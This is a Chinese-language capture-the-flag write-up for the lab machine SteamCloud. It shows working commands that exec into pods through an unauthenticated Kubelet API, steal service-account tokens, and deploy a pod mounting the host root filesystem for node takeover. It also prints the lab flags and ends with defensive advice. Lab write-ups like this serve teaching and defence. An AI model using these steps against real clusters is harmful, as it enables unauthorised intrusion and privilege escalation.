[Meachines] [Easy] SteamCloud Kubernetes-RCE+Kubernetes节点权限提升
字数 1208 2025-08-22 12:23:42

Kubernetes 安全渗透测试:从 Kubelet RCE 到节点权限提升

1. 目标识别与信息收集

1.1 端口扫描

目标 IP: 10.10.11.133

使用 masscan 进行快速端口扫描:

sudo masscan -p1-65535,U:1-65535 10.10.11.133 --rate=1000 -p1-65535,U:1-65535 -e tun0 > /tmp/ports
ports=$(cat /tmp/ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//')
nmap -Pn -sV -sC -p$ports 10.10.11.133

1.2 开放端口与服务识别

扫描结果:

  • 22/tcp: OpenSSH 7.9p1
  • 2379/tcp: etcd-client (SSL)
  • 2380/tcp: etcd-server (SSL)
  • 8443/tcp: Kubernetes API server (https-alt)
  • 10249/tcp: Golang net/http server
  • 10250/tcp: Kubelet API (SSL)
  • 10256/tcp: Golang net/http server

2. Kubelet 远程代码执行 (RCE)

2.1 Kubelet 简介

Kubelet 是 Kubernetes 的核心组件,运行在每个工作节点(Node)上,负责:

  • 管理和维护节点上的容器
  • 与控制平面(如API Server)通信
  • 接收并执行分配到该节点的任务
  • 报告节点状态

2.2 利用 Kubelet API

Kubelet API (10250端口) 通常未正确配置认证,可能导致RCE。

2.2.1 枚举运行的 Pods

使用 kubeletctl 工具:

./kubeletctl_linux_amd64 --server 10.10.11.133 pods

2.2.2 执行命令

在名为 nginx 的 Pod 中执行命令:

./kubeletctl_linux_amd64 --server 10.10.11.133 exec "whoami" -p nginx -c nginx

获取交互式 shell:

./kubeletctl_linux_amd64 --server 10.10.11.133 exec "/bin/bash" -p nginx -c nginx

3. 权限提升:从 Pod 到节点主机

3.1 获取服务账户凭证

在已攻陷的 Pod 中查找 Kubernetes 服务账户凭证:

ls -la /run/secrets/kubernetes.io/serviceaccount
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt

3.2 使用 kubectl 与 Kubernetes API 交互

3.2.1 下载 kubectl

curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
chmod +x kubectl

3.2.2 使用获取的凭证与 API 交互

./kubectl -s https://10.10.11.133:8443 get pods --certificate-authority=/tmp/ca.crt --token=$token

3.3 创建特权 Pod 进行权限提升

3.3.1 创建恶意 Pod 定义文件 (evil.yaml)

apiVersion: v1
kind: Pod
metadata:
  name: evil-maptnh
  namespace: default
spec:
  containers:
  - name: evil-maptnh
    image: nginx:1.14.2
    volumeMounts:
    - mountPath: /mnt
      name: evil-exp
  volumes:
  - name: evil-exp
    hostPath:
      path: /

3.3.2 部署恶意 Pod

./kubectl -s https://10.10.11.133:8443 --certificate-authority=/tmp/ca.crt --token=$token apply -f /tmp/evil.yaml

3.3.3 验证 Pod 状态

./kubectl -s https://10.10.11.133:8443 --certificate-authority=/tmp/ca.crt --token=$token get pods

3.3.4 在特权 Pod 中执行命令

./kubeletctl_linux_amd64 --server 10.10.11.133 exec "/bin/bash" -p evil-maptnh -c evil-maptnh

4. 关键发现与凭证

  • User flag: 6f85b72ab0e8c2cd1c46d2e5a7cd3d65
  • Root flag: a7d4b0817cea88036a6846107f92edb2

5. 防御建议

  1. Kubelet 安全配置:

    • 启用并正确配置 Kubelet 认证
    • 限制匿名访问
    • 使用网络策略限制对 Kubelet API 的访问
  2. Pod 安全策略:

    • 实施 Pod 安全策略限制特权容器
    • 禁止挂载主机目录
  3. 服务账户管理:

    • 限制服务账户权限
    • 使用最小权限原则
  4. 审计与监控:

    • 监控异常的 Pod 创建请求
    • 审计 Kubelet API 访问日志
  5. 定期更新:

    • 保持 Kubernetes 组件最新版本
    • 及时应用安全补丁
Kubernetes 安全渗透测试:从 Kubelet RCE 到节点权限提升 1. 目标识别与信息收集 1.1 端口扫描 目标 IP: 10.10.11.133 使用 masscan 进行快速端口扫描: 1.2 开放端口与服务识别 扫描结果: 22/tcp : OpenSSH 7.9p1 2379/tcp : etcd-client (SSL) 2380/tcp : etcd-server (SSL) 8443/tcp : Kubernetes API server (https-alt) 10249/tcp : Golang net/http server 10250/tcp : Kubelet API (SSL) 10256/tcp : Golang net/http server 2. Kubelet 远程代码执行 (RCE) 2.1 Kubelet 简介 Kubelet 是 Kubernetes 的核心组件,运行在每个工作节点(Node)上,负责: 管理和维护节点上的容器 与控制平面(如API Server)通信 接收并执行分配到该节点的任务 报告节点状态 2.2 利用 Kubelet API Kubelet API (10250端口) 通常未正确配置认证,可能导致RCE。 2.2.1 枚举运行的 Pods 使用 kubeletctl 工具: 2.2.2 执行命令 在名为 nginx 的 Pod 中执行命令: 获取交互式 shell: 3. 权限提升:从 Pod 到节点主机 3.1 获取服务账户凭证 在已攻陷的 Pod 中查找 Kubernetes 服务账户凭证: 3.2 使用 kubectl 与 Kubernetes API 交互 3.2.1 下载 kubectl 3.2.2 使用获取的凭证与 API 交互 3.3 创建特权 Pod 进行权限提升 3.3.1 创建恶意 Pod 定义文件 ( evil.yaml ) 3.3.2 部署恶意 Pod 3.3.3 验证 Pod 状态 3.3.4 在特权 Pod 中执行命令 4. 关键发现与凭证 User flag : 6f85b72ab0e8c2cd1c46d2e5a7cd3d65 Root flag : a7d4b0817cea88036a6846107f92edb2 5. 防御建议 Kubelet 安全配置 : 启用并正确配置 Kubelet 认证 限制匿名访问 使用网络策略限制对 Kubelet API 的访问 Pod 安全策略 : 实施 Pod 安全策略限制特权容器 禁止挂载主机目录 服务账户管理 : 限制服务账户权限 使用最小权限原则 审计与监控 : 监控异常的 Pod 创建请求 审计 Kubelet API 访问日志 定期更新 : 保持 Kubernetes 组件最新版本 及时应用安全补丁